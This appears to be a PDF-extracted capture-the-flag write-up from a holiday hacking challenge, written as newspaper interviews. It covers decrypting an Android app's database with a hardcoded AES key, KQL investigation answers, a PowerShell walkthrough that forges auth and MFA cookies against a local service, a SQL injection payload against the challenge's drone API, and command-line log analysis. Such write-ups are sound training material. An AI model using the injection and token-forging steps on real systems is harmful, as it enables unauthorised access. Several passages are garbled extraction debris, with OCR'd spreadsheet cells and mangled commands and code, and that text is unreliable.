            cipher.init(2, this.secretKeySpec, new GCMParameterSpec(128, this.iv));
            byte[] doFinal = cipher.doFinal(Base64.decode(encryptedData, 0));
            Intrinsics.checkNotNull(doFinal);
            return new String(doFinal, Charsets.UTF 8);
        } catch (Exception e) {
            Log.e("DatabaseHelper", "Decryption failed: " + e.getMessage());
            return null;
. . .
cat classes/sources/com/northpole/santaswipe/R.java
```

```
public static final class string {
   public static int app name = 0x7f090001;
   public static int ek = 0x7f090033;
   public static int iv = 0x7f090037;
```

```
private string()
```

. . .

```
cat ../SantaSwipeSecure apk/res/values/strings.xml
```

```
<string name="ek">rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw=</string>
<string name="expanded">Expanded</string>
<string name="in progress">In progress</string>
<string name="indeterminate">Partially checked</string>
<string name="iv">Q2hlY2tNYXRlcml4</string>
<string name="m3c bottom sheet pane title">Bottom Sheet</str
```

With the help of AI, I had a Java programme created that performed the same steps as the decryptData function in DatabaseHelper.java.

```
import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
```

public class Decryptor { private static final String KEY = "rmDJ1wJ7ZtKy31kLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw="; private static final String IV = "Q2hlY2tNYXRlcml4";

Exception {

// Decode key, IV and encrypted data from Base64 byte[] keyBytes = Base64.getDecoder().decode(base64Key); byte[] ivBytes = Base64.getDecoder().decode(base64Iv); byte[] encryptedBytes = Base64.getDecoder().decode(encryptedData);

// Create cipher instance and initialize SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, "AES"); Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");

Article List



db.execSQL(decryptData("IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+1JZkMNpNFBgoHeJ1wp7312oyEh1Y6AfqnfH7g

```
public static String decrypt(String encryptedData, String base64Key, String base64Iv) throws
```

Page 17 / 51

Act 2 Mobile A	nalysis Mobile
<pre>GCMParameterSpec gcmParameterSpec = new GCMParameterSpec(128, ivBytes); cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, gcmParameterSpec);</pre>	Recip
<pre>// Decrypt byte[] decryptedBytes = cipher.doFinal(encryptedBytes);</pre>	From
<pre>return new String(decryptedBytes, StandardCharsets.UTF_8); }</pre>	Alpha A-Z
<pre>public static void main(String[] args) { if (args.length < 1) { System out println("Usage: java Decryptor <encrypted-string>"):</encrypted-string></pre>	Re
System.out.println("Example: java Decryptor NmfFlqJV+K1mcN9+Yp81/ Vku9+A2aAwUTns96j8eMWk7TUtSxw==");	AES D
System.exit(1);	Key
1	rmD
<pre>try { String encrypted = args[0]; String decrypted = decryptedKEYU(); </pre>	/ .865
System.out.println("Decrypted value: " + decrypted);	Mod
<pre>} catch (IllegalArgumentException e) { System.out.println("Error: Invalid Base64 input"); printStackError();</pre>	CTR
e.printStackTrace(); } catch (Exception e) {	Outp
<pre>System.out.println("Error during decryption: " + e.getMessage()); e.printStackTrace();</pre>	
	Wow,
}	encryp

Now I could decrypt the SQL which was executed right after setting up the database:

javac Decryptor.java java Decryptor "IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+1JZkMNpNFBgoHeJ1wp7312oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/ OwcxVt7Ubdn0UD2kImNsc1EQ9M8PpnevBX3mX1W2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVL oeUlQjc18swZVtTQ07Zwe6sTCY1rw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy30IaFxfTdevCoTMwkoPvJuRupA6ybp36vmLL MXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ" 2> /dev/null Decrypted value: CREATE TRIGGER DeleteIfInsertedSpecificValue AFTER INSERT ON NormalList FOR EACH ROW BEGIN DELETE FROM NormalList WHERE Item = 'KGfb0vd4u/ 4EWMN0bp035hRjjpMiL4NQurjqHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8='; END:

java Decryptor "KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaalaAkGEVV8=" 2> /dev/ null

Decrypted value: Joshua, Birmingham, United Kingdom

Now I had the missing person: Joshua.

I'm delighted you succeeded - your help is keeping Alabaster's plans moving forward and you're truly proving invaluable!

After thinking about this solution for a while, I wanted an even bigger challenge. Instead of a Java program to decrypt using the AES algorithm in GCM mode, I wanted to write a CyberChef recipe that would contain a maximum of two operations.

I could achieve this by switching from AES GCM to AES CTR. AES-GCM (Galois/Counter Mode) provides both confidentiality and integrity by generating an authentication tag that ensures data authenticity and protects against tampering. In contrast, AES-CTR (Counter Mode) only encrypts data for confidentiality but lacks built-in integrity or authentication, leaving it vulnerable to modification without detection. AES-GCM also requires a 12-byte IV (Initialization Vector) for optimal performance and security. AES-CTR, on the other hand, typically uses a 16-byte IV for block alignment, and if the IV is shorter, it is often padded with zeros or another deterministic method to reach the required length. So, trying to pad the IV (I started with 00000001 hex), I reduced the operations and finally succeeded:

obile Analysis		2								
Recipe	8	• •	Input		length: 68 lines: 1	+		€	Î	
From Base64		⊘ 11	KGfb0vd4u/4EWMN0bp035hRjjp	bMiL4NQurjgHIQHNaR	aDnIYbKQ9Jus	Gaa1aA	kGEVV8	8=		
Alphabet A-Za-z0-9+/=		•								
Remove non-alphabet o	chars									
AES Decrypt		⊘ 11								
Key rmDJ1wJ7ZtKy3lkLs6X9	bZ2Jv B	ASE64 🕶								
IV 865636b4d61746572697	8 <mark>00000002</mark>	HEX 🕶	Output	start: 0 end: 34 length: 34	time: 5ms length: 50 lines: 1	8	$\ \ \square$	(†)	5	::
Mode CTR	Input Raw		Joshua, Birmingham, United	d Kingdom.vrT.×7.Æ	DÔ¥7.tä					
Output Raw										

I'm really excited about this way. That was really an interesting approach you have chosen to get the oted data.



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Page 19 / 51

Act 2

Microsoft KC7 - Blue and Red

Ms. Minstix, as a reporter from neutral ground, you described serious cyber attacks launched by Team Wombley, including phishing, ransomware, and espionage that had already compromised Alabaster's systems. Could you elaborate on how you planned to use KQL logs to investigate and counter these threats, particularly the ransomware situation?

And Mr. Wunorse, you appeared quite enthusiastic about Team Wombley's successful cyber campaigns against Alabaster's systems. Could you explain what motivated these attacks, and why you felt potential defenders would be better served joining your side rather than attempting to counter your operations?

Microsoft KC7



Pepper Minstix: First, I went to http://kc7cyber.com/go/hhc24 and created an account. The modules were very well described and self-explanatory, so I will only show the questions, statements and answers here.

Wunorse Openslae: I'm not going to comment on that!

	KQL 101				
Question	Statement	Answer			
Type let's do this to begin your KOL training.		let's do this			
Once you've examined all the tables, type when in doubt take 10 to proceed.	Employees take 10	when in doubt take 10			
How many elves did you find?	Employees	90			
Can you find out the name of the Chief Toy Maker?	<pre>Employees where role == "Chief Toy Maker"</pre>	Shinny Upatree			
Type operator to continue.		operator			
How many emails did Angel Candysalt receive?	<pre>Employees where name == "Angel Candysalt" How many emails did Angel Candysalt receive? Email where recipient == "angel_ candysalt@santaworkshopgeeseislands.org" count</pre>	31			
How many distinct recipients were seen in the email logs from twinkle frostington@santaworkshopgeesei slands org2	Email where sender has "twinkle_ frostington@santaworkshopgeeseislands.org" distinct recipient count	32			
How many distinct websites did Twinkle Frostington visit?	Employees where name == "Twinkle Frostington" OutboundNetworkEvents where src_ip == "10.10.0.36" distinct url count	4			
How many distinct domains in the PassiveDns records contain the word green?	PassiveDns where domain contains "green" distinct domain Count	10			
How many distinct URLs did elves with the first name Twinkle visit?	<pre>let twinkle_ips = Employees where name has "Twinkle" distinct ip_addr;</pre>	8			
	OutboundNetworkEvents where src_ip in (twinkle_ips) distinct url count				

Page 20 / 51

Microsoft KC7

	On anotion Connerdon				
Operation Surrenaer					
Question	Statement	Answer			
Type surrender to get started!		surrender			
Who was the sender of the phishing email that set this plan into motion?	Email where subject contains "surrender" distinct sender	surrender@northpo lemail.com			
How many elves from Team Wombley received the phishing email?	Email where subject contains "surrender" distinct recipient count	22			
What was the filename of the document that Team Alabaster distributed in their phishing email?	Email where subject contains "surrender" distinct link	Team_Wombley_ Surrender.doc			
Who was the first person from Team Wombley to click the URL in the phishing email?	<pre>Employees join kind=inner (OutboundNetworkEvents) on \$left.ip_addr == \$right.src_ip // condition to match rows where url contains "Team_Wombley_Surrender.doc" project name, ip_addr, url, timestamp // project returns only the information you select sort by timestamp asc //sorts time ascending take 1</pre>	Joyelle Tinseltoe			
What was the filename that was created after the .doc was downloaded and executed?	<pre>Employees where name == "Joyelle Tinseltoe" ProcessEvents where timestamp between(datetime("2024-11- 27T13:11:45Z") datetime("2024-11-27T15:11:45Z")) // you'll need to modify this where hostname == "Elf-Lap-W-Tinseltoe"</pre>	keylogger.exe			
To obtain your flag use the KQL below with your last answer!	<pre>let flag = "keylogger.exe"; let base64 encoded = base64_encode_tostring(flag); print base64 encoded</pre>	a2V5bG9nZ2VyLmV4 Q==			

Operation Snowfall				
Question	Statement	Answer		
Type snowfall to begin		snowfall		
What was the IP address associated with the password spray?	AuthenticationEvents where result == "Failed Login" summarize FailedAttempts = count() by username, src_ip, result where FailedAttempts >= 5 sort by FailedAttempts desc	59.171.58.12		
How many unique accounts were impacted where there was a successful login from 59.171.58.12?	AuthenticationEvents where src_ip == "59.171.58.12" where result == "Successful Login" summarize FailedAttempts = count() by username, src_ip, result count	23		
What service was used to access these accounts/devices?	AuthenticationEvents where src_ip == "59.171.58.12" where result == "Successful Login" distinct description	RDP		
What file was exfiltrated from Alabaster's laptop?	AuthenticationEvents where src_ip == "59.171.58.12" where result == "Successful Login" where username == "alsnowball" ProcessEvents	Secret_Files.zip		
What is the name of the malicious file that was run on	<pre> where timestamp > datetime("2024-12-11T00:39:50Z") where hostname == "Elf-Lap-A-Snowball" See above</pre>	EncryptEverything .exe		
Alabaster's laptop? Enter your flag to continue	<pre>let flag = "EncryptEverything.exe"; let base64_encoded = base64_encode_tostring(flag); print base64_encoded</pre>	RW5jcnlwdEV2ZXJ5d GhpbmcuZXhl		

Article List

The Kringle Post

Microsoft KC7
PowerShell

A CARLER AND A CARLE	Echoes in the Frost				
Question	Statement	Answer			
Type stay frosty to begin		stay frosty			
What was the timestamp of first phishing email about the breached credentials received by Noel Bostie?	Email where recipient has "Noel" where subject contains "credentials" take 10	2024-12- 12T14:48:55z			
When did Noel Boetie click the link to the first file?	OutboundNetworkEvents where url == "https://holidaybargainhunt.io/ published/files/files/echo.exe"	2024-12- 12T15:13:55Z			
What was the IP for the domain where the file was hosted?	PassiveDns where domain == "holidaybargainhunt.io" distinct ip	182.56.23.122			
Let's take a closer look at the authentication events. I wonder if any connection events from 182.56.23.122. If so what hostname was accessed?	AuthenticationEvents where src_ip == "182.56.23.122"	WebApp- ElvesWorkshop			
What was the script that was run to obtain credentials? What is the timestamp where Noel executed the file?	ProcessEvents where hostname == "WebApp-ElvesWorkshop" ProcessEvents where process_commandline contains "echo.exe"	Invoke- <u>Mimikatz.ps1</u> 2024-12- 12T15:14:38Z			
What domain was the holidaycandy.hta file downloaded from?	OutboundNetworkEvents where url contains "holidaycandy.hta"	compromisedchrist mastoys.com			
what was the first file that was created after extraction?	<pre>ProcessEvents where process commandline contains "frosty" where username == "noboetie" FileCreationEvents where timestamp > datetime("2024-12-24T17:19:45Z")</pre>	sqlwriter.exe			
What is the name of the property assigned to the new registry key?	ProcessEvents where process_commandline contains "HKCU"	frosty			
To obtain your FINAL flag use the KQL below with your last answer!	<pre>let finalflag = "frosty"; let base64_encoded = base64_encode_tostring(finalflag); print base64_encoded</pre>	ZnJvc3R5			

I'm absolutely thrilled with your incredible cybersecurity work - you've masterfully analyzed KQL logs, traced phishing emails, tracked compromised accounts, and neutralized ransomware! Ho-ho-holy snowflakes, you've truly became a holiday hero by completing all four tasks and helping restore peace to the North Pole!

PowerShell - Mastering the Terminal

Mr. Sappington, during the conflict between the Wombley and Alabaster factions, you sought assistance with accessing two PowerShell Terminal functions related to snowball weaponry. Could you explain why these systems were in a faulty lockdown state, and what made you believe bypassing both the snow cannon terminal and the more secured production plans would provide a tactical advantage?

Piney Sappington: The dialogue guided me and also gave me clues. For this reason, I have only listed the questions and the corresponding answers for our readers below.



PowerShell

Are you ready to begin? [y]es: y

1) There is a file in the current directory called 'welcome.txt'. Read the contents of this file PS /home/user> Get-Content ./welcome.txt 2) Geez that sounds ominous, I'm sure we can get past the defense mechanisms. We should warm up our PowerShell skills. How many words are there in the file? PS /home/user> Get-Content ./welcome.txt | Measure-Object -Word 3) There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it listening on? PS /home/user> netstat -1 4) You should enumerate that webserver. Communicate with the server using HTTP, what status code do you get? PS /home/user> Invoke-WebRequest -uri "http://localhost:1225" 5) It looks like defensive measures are in place, it is protected by basic authentication. Try authenticating with a standard admin username and password. PS /home/user> \$base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII. GetBytes("admin:admin")) PS /home/user> \$headers = @{Authorization = "Basic \$base64AuthInfo"} PS /home/user> Invoke-WebRequest -Uri "http://localhost:1225" -Headers \$headers 6) There are too many endpoints here. Use a loop to download the contents of each page. What page has 138 words? When you find it, communicate with the URL and print the contents to the terminal. \$response = Invoke-WebRequest -Uri "http://localhost:1225" -Headers \$headers foreach (\$link in \$response.Links) { \$url = \$link.href \$linkResponse = Invoke-WebRequest -Uri \$url \$wordCount = (\$linkResponse.Content -split '\s+' | Measure-Object).Count Write-Output "URL: \$url - Word Count: \$wordCount" PS /home/user> (Invoke-WebRequest -Uri "http://localhost:1225/endpoints/13").Content 7) There seems to be a csv file in the comments of that page. That could be valuable, read the contents of that csv-file! PS /home/user> (Invoke-WebRequest -Headers \$headers -Uri "http://127.0.0.1:1225/token overview. csv").Content 8) Luckily the defense mechanisms were faulty! There seems to be one api-endpoint that still isn't redacted! Communicate with that endpoint! PS /home/user> (Invoke-WebRequest -Headers \$headers -Uri "http://127.0.0.1:1225/token overview. csv").Content -split "`n" | Where-Object { \$ -notmatch "REDACTED" } 9) It looks like it requires a cookie token, set the cookie and try again. PS /home/user> \$webSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession PS /home/user> \$webSession.Cookies.Add((New-Object System.Net.Cookie("token", "5f8dd236f862f4507835b0e418907ffc", "/", "127.0.0.1"))) PS /home/user> (Invoke-WebRequest -Headers \$headers -Uri "http://127.0.0.1:1225/tokens/ 4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C" -WebSession \$webSession). Content 10) Sweet we got a MFA token! We might be able to get access to the system. Validate that token at the endpoint! PS /home/user> \$mfa = ((Invoke-WebRequest -Headers \$headers -Uri "http://127.0.0.1:1225/tokens/ 4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C" -WebSession \$webSession). Content).Substring(42, 18) PS /home/user> \$webSession.Cookies.Add((New-Object System.Net.Cookie("mfa token", \$mfa, "/", "127.0.0.1"))) PS /home/user> (Invoke-WebRequest -Headers \$headers -Uri "http://127.0.0.1:1225/mfa validate/ 4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C" -WebSession \$webSession). Content 11) That looks like base64! Decode it so we can get the final secret! PS /home/user> \$encodedString = "Q29ycmVjdCBUb2t1biBzdXBwbGl1ZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybW1 uYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGl

vbq=="

The Kringle Post

Article List

Page 23 / 51

PowerShell

PS /home/user> \$decodedBytes = [Convert]::FromBase64String(\$encodedString) PS /home/user> \$decodedString = [Text.Encoding]::UTF8.GetString(\$decodedBytes)
PS /home/user> Write-Output \$decodedString Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction

Our readers got a secret tip for you - if you're feeling adventurous, you could write your own PowerShell script to bypass the standard path for this challenge. I bet you were skilled enough to handle it, right?

I had all the end points from step 7 of the previous task, even if they had been REDACTED. I used Get-FileHash -Algorithm SHA256 as described in the hints. Then I quickly typed this in Linux to create proper hashes:

```
cat hashes.txt
04886164e5140175bafe599b7f1cacc8
664f52463ef97bcd1729d6de1028e41e
3e03cd0f3d335c6fb50122553f63ef78
. . .
for i in `cat hashes.txt `; do echo $i | sha256sum | cut -f 1 -d " "; done
dfd05f3b46d21bc8556cdbf544325a945ed0304ec0bb7dbfd68ed5931e7ff6ee
1f3c45d7e7b1f7621f67136c538c6933791d3392648c7b0f8b17fb1a6343ebd5
e2dbbdbcc7e57e526841899975b6621105710e76c203c1dc30419e7f1cba5297
```

With the second hint, I knew that the threshold cookie was shared between all endpoints. Now I only had to fire all the requests to the endpoints. I could have created a Powershell script on the target system to do this, but I made it easy for myself by having Excel assemble the individual calls (from the previous task) and copying all the generated commands into the console.

(on.Cookies.Add((New-Object System.Net.Cookie(""token"", ""&A18*"", ""/", ""127.0.0.1""))); "; nvoke-WebRequest -Headers Sheaders - url ""http://127.0.0.1:1225/tokens/"&C18*""-WebCession SwebCession).Conten on.Cookies.Add((New-Object System.Net.Cookie(""mfa_token", Safa, ""/"", ""127.0.0.1""))); "; DeRequest -Headers Sheaders - url ""http://127.0.0.1:1225/mfa_validate/"Adit="" wiebCession Symbolsesion).Content A B C D E F G H I J K L M N O P Q R S T U V W X 6645246361: 113c45d7e7b SwebSession, Cookies, Add[New-Object System. Net. Cookie] Token, "664526450e7b17262d6de1028e41e", "7", "127.0.0.1"]]); \$mfa = (Imoke-WebRequest -Headers \$headers -Uni "http://127.0.0.1:1225/tokens/133c45d7e7b176218571365438c903791d3392648c7b0f8b17b1a6343e
3e03cd013d3: e2dbddbcc7 \$\$webSession, Cookies, Add[New-Object System. Net. Cookie] Token, "3e03cd013d33c6fb50122553f63e778", "7", "127.0.0.1"]]); \$mfa = (Imoke-WebRequest -Headers \$headers -Uni "http://127.0.0.1:1225/tokens/133c45d7e7b17621857186c538c99373b1d3392648c7b0f8b17b1a6343e
3e03cd013d3: e2dbddbcc7 \$\$webSession, Cookies, Add[New-Object System. Net. Cookie] Token, "3e03cd013d33c6fb50122553f63e778", "7", "127.0.0.1"]]); \$mfa = (Imoke-WebRequest -Headers \$headers -Uni "http://127.0.0.1:1225/tokens/12dbdbcc7857e5268d1899975b6621103710e78c203c1dc30419e71tcba =VERKETTEN (

"\$webSession.Cookies.Add((New-Object System.Net.Cookie(""token"", """&A1&""", ""/"", ""127.0.0.1""))); "; "\$mfa = (Invoke-WebRequest -Headers \$headers -Uri ""http://127.0.0.1:1225/tokens/"&C1&""" -

WebSession \$webSession).Content.Substring(265, 18); "; "\$webSession.Cookies.Add((New-Object System.Net.Cookie(""mfa token"", \$mfa, ""/"", ""127.0.0.1""))); ";

"(Invoke-WebRequest -Headers \$headers -Uri ""http://127.0.0.1:1225/mfa validate/"&C1&""" -WebSession \$webSession).Content"

I'm thrilled with your incredible PowerShell skills - you not only retrieved the needed codeword by navigating the tricky security, but you also tackled the harder path and demonstrated the expertise we desperately need during these tense times between factions!

3.11225/tokens/dlaf5%25519475898356465%2645%2645%26%2645%26%26%26%26%26%26%26%26%26%26%26%26%26%	.Cookie("nis_ Session \$web5
sion).Content : Start-Sleep 1	
> - ERROR: Access Denied	
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111225/tokens/bo9(1a72)49527ad)05076a10426471003027c5395304300((fc lefe60* -Reblession) Content. Substring (255, 18): Sections. Add (Rec-Object System Ref	.Cookie(
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Sion).Content : Start-Sleep 1	
I>[-] ERROR: Access Denied br> (!) Logging access attempts	
/home/user> \$webSession.Cookies.Add(Dew-Object System.Net.Cookie(*tokes*, *016f2cc500f74521ch6215b7374eead6*, */*, *127.0.0.1*))); \$wfa = (Invoke-WebRequest -Newders Sheaders -Uri	"http://127.
.1:1225/tokens/Sbbe0d45cde1fd01a7641ff4007099efc91fd7f5637ddedfb71adH=2sda5d036* -Web5ession 3veb5ession).Content.Substring (265, 18): 3veb5ession.Cookies.Add((New-Gbject System.Net	.Cookie(*sfe
un", Safa, "/", "127.0.0.1")); (Invoke-MebRequest -Unsders Sheaders -Uni "http://127.0.0.111225/mfs_validate/Shbedd4SofalfdD1a7641ff407009=fc51fd7f5637dd=d0b71adbe2wdaSd086* -Uni	Session SwebS
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ton", Sufa, "/", "127.0.0.1"))); [Invoka-WebRequest -Hondors Sheaders -Uni "http://127.0.0.11125/mfa validate/f092f601004=56013c1=0044f094c6376617c41=328=2034266017cf181c=4* -Hon	Section Swebs
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ion).Content : Start-Sleep 1	
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1:1225/tokens/6297f422314aa9a9472752f1a991bd505752c5f14fcab93153bcb1038fb5abf7* -WebSession SvebSession).Content.Substring (265, 18); SvebSession.Cookies.Add (New-Object System.Net	.Cookie("afa
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/home/user> SwebSession.Cookies.Add((New-Object System.Not.Cookie("token", "inesylloc348/dob6fObd3a2Acc36535", "/", "127.0.0.1"))); Swfa = (Invoke-WebBequest -Nesders -Nesder	"http://127.
.11122/tokens/045.97/at/045.97/at/045.97/at/040990000.5311153/fat/9ect3/0.1ac124ec1.bfd3399 #mbSession SeebSession.Coekies.Mdd((See-Object System.Net	Cookie (*nfa
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Drone Path

Drone Path - Following the Tracks

Mr. Scissorsticks, after initially supporting Wombley's faction, what specific discoveries about the drone armada being constructed in the toy factory led to your change of heart, and could you elaborate on why you believed the admin passwords could be extracted from drone flight logs using Google Earth and Python scripting tools?

Chimney Scissorsticks: First I downloaded the .kml file (via Menu -FileShare). Keyhole Markup Language (KML) is an XML notation for expressing geographic annotation and visualization within twodimensional maps and three-dimensional Earth browsers. I then imported this into Google Earth (via New - local KML file - import). Then I rotated the globe a little and I could recognise a password: GUMDROP1.



The Kringle Post

Article List



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Page 25 / 51

Act 2

Drone Path

I also imported this file into Google Earth and zoomed into the marked locations. The locations resembled letters and in the correct order (via the ID) a drone name resulted: ELF-HAWK.



I searched for this drone in the application (via Menu - Workshop) and received another CSV file for download. I also converted this to KML format and displayed it this time in a different tool that was better suited for 2D visualisation. Now I had the final solution word: DroneDataAnalystExpertMedal.



Our readers need you to investigate more thoroughly - you payed close attention to those file structures, and remembered there were talks of an injection vulnerability that could give you an advantage. You stay vigilant, right?

Page 26 / 51



Article List

The Kringle Post

Drone Path

In the source code, I saw the API calls that the application made. With a little trial and error, I found out that one of the two endpoints was vulnerable to SQL injection:

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=ELF-HAWK' or '1'='1



In the second endpoint I inserted all drone names and got:

https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones/Pigeon-Lookalike-v4/comments

"comments": ["This is a great drone for surveillance, but we need to keep it out of the rain.", "I cant believe we are using pigeons for surveillance. \n If anyone finds out, there will most likely be a conspiracy theory about it.", "I heard a rumor that there is something fishing with some of the files. \nThere was some talk about only TRUE carvers would find secrets and that FALSE ones would never find it." "drone name": "Pigeon-Lookalike-v4"

Advertisment PHISHERMAN'S ENCRYPTED WHARF "Where Rare Fish Meet Blockchain Security"

EXCLUSIVE INVENTORY:

* Cybersalmon with RGB Scales - Naturally emits Wi-Fi signals - 500,000 KC/pound

* Zero-Day Zebrafish - Previously undiscovered exploits - Never seen in wild repositories

- 750,000 KC/pair

* Rootkit Rainbow Trout - Self-modifying camouflage - Comes with private SSH key - 1.000.000 KC each



Art 2

Drone Path

It took me a while to understand this hint and recognise the pattern. Finally, I removed all the lines in the previous CSV file that only had FALSE entries ('FALSE ones would never find it') and then converted TRUE to 1 and FALSE to 0. For a simpler visualisation I used Excel:

	Automatisches Co	aicharn (DDD	Q M	10002 E	O Suchan			CUSTOM.dati	OSD.longitud	OSD.latitude ID			
	Automatisches sp	eichem (ippez - c	> Suchen			03.07.2024	19671875	64796875 00	111010001110100011101000	1110100011101000111010	0011101000
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711	03.0	7 2024	3 88067E+11	52203125		1		1	03.07.2024	43008/5	8109375 10	0011101000111010001110	0011101000111010001110	101000111
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712	03.0	7.2024	3,009072+11	52203125		1		0	1		0	0	0	
/13	03.0	7.2024	3,89459E+11	5239375		1		0	0		0	1	1	
714	03.0	7.2024	3,89951E+11	52584375		0		0	1		1	1	0	
715	03.0	7.2024	3,90443E+11	52775		1		1	1		0	1	0	
716	03.0	7.2024	3,90936E+11	52965625		1		0	1		0	0	0	
717	03.0	7.2024	3,91428E+11	5315625		1		0	0		0	1	1	
718	03.0	7.2024	3,9192E+11	53346875		0		0	1		1	1	0	
719	03.0	7.2024	3.92412E+11	535375		1		1	1		0	1	0	
720	03.0	7 2024	3 92904E+11	53728125		1		0	1		0	0	0	
721	03.0	7 2024	3 93396E+11	5391875		1		0	0		0	1	1	
722	03.0	7 2024	3 03990E+11	54100275		0		0	0		0	1	0	
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Then I created a recipe From Binary in CyberChef with the parameters Delimiter=None and Byte Length=8. I copied all lines into it and got the second solution EXPERTTURKEYCARVERMDEAL.

I'm so impressed with how you handled those drone challenges - you mastered the KML files, cracked the codes, and even found the most difficult path using file carving and SQL injection! Your expertise will be crucial in preventing the big snowball battle and handling whatever challenges the factions present.



Elf Stack

Final Edition: Crisis Averted! (Front Yard)

In what will surely go down as one of the North Pole's darkest moments, Wombley Cube's desperate bid for control culminated in a catastrophic ransomware attack on the sacred Naughty-Nice database – but thanks to the timely intervention of an unexpected hero (who demonstrated remarkable skill with both incident response and conflict resolution), Santa returned to find his workshop not in the digital shambles it could have been but rather restored to its usual harmonious state, with both Wombley and Alabaster having learned valuable lessons about the true meaning of cybersecurity collaboration.



Elf Stack - Searching the Needle in the Haystack

As the creator of the North Pole Elf Stack SIEM, could you explain how Wombley's FrostBit ransomware attack impacted your logging systems and the Naughty-Nice List backup, and what led you to believe that analyzing logs through the ELK stack or Linux CLI tools could help trace and potentially remediate the attack?

Fitzy Shortstack: For the sake of simplicity, I'm providing you the question, the statement and the answer for each case. In principle, I could have decided here whether to solve the task with the help of the Elastic stack or to rely on Linux basic tools. I chose the latter because it allowed me to get results faster and, in some cases, to look at other useful context better, which would have taken more time in Elastic.

Question 1: How many unique values are there for the event source field in all logs?

cat log chunk * | cut -f 4 -d " " | sort | uniq

Question 2: Which event source has the fewest number of events related to it?

for i in AuthLog GreenCoat NetflowPmacct SnowGlowMailPxy WindowsEvent; do echo \$i; grep \$i log chunk * | wc; done AuthLog

Question 3: Using the event source from the previous question as a filter, what is the field name that contains the name of the system the log event originated from?

grep AuthLog log chunk * | grep host | head -n 1 hostname

Question 4: Which event source has the second highest number of events related to it?

(same statement as O2) NetflowPmacct

Question 5: Using the event source from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs?

grep NetflowPmacct log_chunk_* | grep port | head -n 1

Page 28 / 51

The Kringle Post

Article List

Article List

Act 3



Page 29 / 51

port dst

Question 6: Which event source is related to email traffic?

(same statement as Q1) SnowGlowMailPxy

Question 7: Looking at the event source from the last question, what is the name of the field that contains the actual email text?

grep SnowGlowMailPxy log chunk * | grep email | head -n 1 Body

Question 8: Using the 'GreenCoat' event source, what is the only value in the hostname field?

grep GreenCoat log chunk * | cut -f 3 -d " " | sort | uniq SecureElfGwy

Question 9: Using the 'GreenCoat' event source, what is the name of the field that contains the site visited by a client in the network?

grep GreenCoat log chunk * | head -n 1 url

Question 10: Using the 'GreenCoat' event source, which unique URL and port (URL:port) did clients in the TinselStream network visit most?

grep GreenCoat log chunk * | awk -F'"url":' '{split(\$2, a, ","); print a[1]}' | sort | uniq -c | sort

pagead2.googlesyndication.com:443

Question 11: Using the 'WindowsEvent' event source, how many unique Channels is the SIEM receiving Windows event logs from?

grep WindowsEvent log chunk * | awk -F'"Channel": ' {split(\$2, a, ","); print a[1]}' | sort | uniq 5

Question 12: What is the name of the event. Channel (or Channel) with the second highest number of events?

grep WindowsEvent log chunk * | awk -F'"Channel": ' {split(\$2, a, ","); print a[1]}' | sort | uniq -c

Microsoft-Windows-Sysmon/Operational

Question 13: Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID related to loading of a driver?

6 (Google Search)

Question 14: What is the Windows event ID that is recorded when a new service is installed on a system?

4697 (Google Search)

Question 15: Using the WindowsEvent event source as your initial filter, how many user accounts were created?

grep WindowsEvent log chunk * | grep "\"EventID\": 4720"

I can see you were ready for more - while investigating these logs might have been tricky, your adaptable skills were perfect for diving deep into these queries and making sense of all this chaos! Show us your true skills!

Again, for the sake of simplicity, I will give you the questions, statements and appropriate answers. This time, a little ingenuity and creativity was sometimes required.

Question 1: What is the event. EventID number for Sysmon event logs relating to process creation?

Elf Stack

1 (Google Search)

Question 2: How many unique values are there for the 'event source' field in all of the logs?

cat log chunk * | cut -f 4 -d " " | sort | uniq

Question 3: What is the event source name that contains the email logs?

cat log chunk * | cut -f 4 -d " " | sort | uniq SnowGlowMailPxy

Question 4: The North Pole network was compromised recently through a sophisticated phishing attack sent to one of our elves. The attacker found a way to bypass the middleware that prevented phishing emails from getting to North Pole elves. As a result, one of the Received IPs will likely be different from what most email logs contain. Find the email log in question and submit the value in the event 'From:' field for this email log event.

grep SnowGlowMailPxy log chunk * | awk -F'"ReceivedIP2":' '{split(\$2, a, ","); print a[1]}' | sort | uniq grep SnowGlowMailPxy log chunk * | grep "ReceivedIP2\": \"34.30.110.62" kriskringle@northpole.local

Question 5: Our ElfSOC analysts need your help identifying the hostname of the domain computer that established a connection to the attacker after receiving the phishing email from the previous question. You can take a look at our GreenCoat proxy logs as an event source. Since it is a domain computer, we only need the hostname, not the fully qualified domain name (FQDN) of the system.

grep GreenCoat log chunk * | grep "url\": \".*howtosavexmas.zip" SleighRider

